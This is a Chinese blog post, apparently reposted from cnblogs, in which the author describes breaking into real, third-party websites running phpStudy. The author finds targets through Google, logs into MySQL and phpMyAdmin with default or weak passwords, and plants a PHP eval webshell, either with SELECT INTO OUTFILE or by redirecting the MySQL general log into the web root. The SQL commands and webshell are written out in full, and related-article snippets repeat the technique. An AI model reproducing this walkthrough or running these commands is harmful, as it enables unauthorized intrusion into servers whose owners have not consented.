(实战)phpstudy的漏洞+数据库日志写shell

——真正的才智是刚毅的志向。

今天没学多少东西,直到下午在看别人的文章的时候看到了phpstudy0day的关键词,好奇就查了查。其实这个洞有一段时间了,然后就准备google试试还能不能找到有洞的网站,直接google搜phpstudy 探针 2014。结果是这样的 ,我不得不感叹google太强了。

前几页我就不打算看了,基本上已经被日穿了,或者洞补了。所以干脆向后面翻,说实话运气很重要,我刚尝试了第一个网站就成了。

首先,点开网站是这样的:

我们要用到的就是这个MySQL数据库连接检测功能,我们尝试弱口令,也就是默认用户名密码 root root登录试试,如果提示

则说明口令是对的,有机会拿下来,所以接下来就是目录默认的/phpmyadmin利用上面的用户名密码登录

接下来就是之前写过的方法拿shell了,在数据库中利用select into outfile方法写入shell,非常简单过程就不写了,这里面的绝对路径在探针那个页面有。

接下来要说的是后来遇到的一个奇葩的站,刚把这个站拿下来,准备再去试一试其他的站,就遇到了我要说的这个目标站,当我打开网站的时候,并没有显示php探针的页面,而是回显了一个内容为Hello world的页面,我tm.... 完全不慌!

既然是phpstudy的,那在尝试一下phpmyadmin这个目录,没准这个存在呢,结果一试 卧槽,真有。 瞬间我就乐了,心里是想着这个管理员一定是加了个index.php页面但是还是默认的用户名密码,然后就开开心心的去连接他的数据库了,结果提示我1045错误,这。。。。密码不对??本来渗透到这应该就结束了,但是顺手就试了一下其他弱口令,结果,结果我就用123456进去了.....进去了!!这管理员这智商我不想说什么了。。

这就好办了 接下来就是select into outfile写shell了,后来发现我错了,这个管理员还是有点安全意识的,因为outfile被禁止了,那我岂不是搞不定这个网站了! 不存在的,首先我们要是root权限,然后可以在日志中写入shell。 方法如下:

show variables like ‘%general%‘; #查看配置
set global general_log = on; #开启general log 模式
set global general_log_file = ‘C:/phpstudy/www/xx.php‘; #设置日志目录为shell地址
select ‘<?php eval($_POST[cmd]);?>‘ 写入shell

这里当时我还遇到了个问题,因为看不到php探针 所以不知道网站的绝对目录,因为phpstudy安装的时候,在目录下还有个phpinfo.php的文件,访问这个也能查看到绝对路径。(也可以phpmyadmin爆路径等)

挂了个图纯属为了装逼,(谁让我还没到那种大牛的地步,现阶段只能装装逼来鼓励自己了~)剩下的就是菜刀连接了。这个漏洞的原因百度一下有很多,这里就不多说了。

这一条路还有很长很长要走,会的只是冰山一角,希望自己不要自负,踏实前行,共勉!

原文地址:https://www.cnblogs.com/s1ye/p/8243835.html

时间: 2024-08-13 02:17:09

(实战)phpstudy的漏洞+数据库日志写shell的相关文章

SQL语句利用日志写shell

outfile被禁止,或者写入文件被拦截: 在数据库中操作如下:(必须是root权限) show variables like '%general%'; #查看配置 set global general_log = on; #开启general log模式 set global general_log_file = '/var/www/html/1.php'; #设置日志目录为shell地址 select '<?php eval($_POST[cmd]);?>' #写入shell SQL查询免

JAVA commonsCollections反序列化漏洞之weblogic写shell

参考了乌云zone里面很多帖子的内容,整理了下 weblogic 1.把shell写到控制台images目录中,写入到: weblogic/wlserver_10.3/server/lib/consoleapp/webapp/framework/skins/wlsconsole/images/shell.jsp 访问: http://www.xxoo.com:7001/console/framework/skins/wlsconsole/images/shell.jsp 2.写到已经部署好的网站

Log4net 写文件日志与数据库日志

一.数据库日志表结构 [sql] view plaincopy CREATE TABLE [dbo].[WebLog_Msg]( [LogID] [int] IDENTITY(1,1) NOT NULL, [Date] [datetime] NOT NULL, [Thread] [nvarchar](255) NULL, [Level] [nvarchar](50) NULL, [Logger] [nvarchar](255) NULL, [Message] [nvarchar](2000) N

mysql写Shell小技巧

今天终于在表哥的帮助下解决了文件导入/出这个问题了.(很菜逼的一个问题),然后将最近看到的文章都自己测试了下,顺便奉上记录.1.Mysql数据库支持union的时候写文件小技巧: 采用常规的union写入,可以看到前面的字段占位数肯定也会被写入,替换成null也是一样的结果,这个对于写shell没啥大碍,但是如果用来写bat,mof,vbs等文件就会出问题了,那么怎么去掉这个只写入我们需要的内容呢?采用hex编码就好了. 将我们要写入的内容使用hex编码在分段写在每个字段位上,这样就可以只写入我

NET Core 实战:使用 NLog 将日志信息记录到 MongoDB

NET Core 实战:使用 NLog 将日志信息记录到 MongoDB https://www.cnblogs.com/danvic712/p/10226557.html ASP.NET Core 实战:使用 NLog 将日志信息记录到 MongoDB 一.前言 在项目开发中,日志系统是系统的一个重要组成模块,通过在程序中记录运行日志.错误日志,可以让我们对于系统的运行情况做到很好的掌控.同时,收集日志不仅仅可以用于诊断排查错误,由于日志同样也是大量的数据,通过对这些数据进行集中分析,可以产生

Thrift 个人实战--Thrift RPC服务框架日志的优化

前言: Thrift作为Facebook开源的RPC框架, 通过IDL中间语言, 并借助代码生成引擎生成各种主流语言的rpc框架服务端/客户端代码. 不过Thrift的实现, 简单使用离实际生产环境还是有一定距离, 本系列将对Thrift作代码解读和框架扩充, 使得它更加贴近生产环境. 本文讲述RPC服务框架中, 日志的重要性, 以及logid的引入. 日志不仅包含丰富的数据(就看是否会挖掘), 而且还是线上服务问题追踪和排查错误最好的方式. 日志级别 采用大家喜闻乐见的log4j作为该RPC服

自动发送密码抓取远程日志用Shell脚本如何实现?

在linux系统中,如何用shell脚本抓取远程日志?分析线上的日志会有一个困境,机器太多,如果每台都登录上去看不太现实,但是下载下来更麻烦因为每台SCP都要求输入密码.于是我便写了一个自动抓取远程日志的脚本,实现在基本功能. 代码: #!/usr/bin/expect -f if { $argc !=1 && $argc !=2 } {send_user "没有输入远程日志文件名.\n"send_user "格式是:get.sh ${remote_log}

phpweb成品网站最新版(注入、上传、写shell)

注入:之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码 鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件鸡肋2: 有一定安全常识的站长都会删掉 install 目录 虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc . webserver 影响 分析: $siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤 $filestr = fread(fo

数据库日志管理

数据库日志   数据库备份: 1> mysqldump mysqldump 数据库 > 备份文件 mysqldump 数据库数据表 > 备份文件 mysqldump --databases 数据库1 数据库2> 备份文件 mysqldump --all-databases> 备份文件 还原:mysql  数据库 < 备份文件 2> mysqlhotcopy(支持正则表达式) mysqlhotcopy –u='用户名'  -p='密码'  --regexp=^my(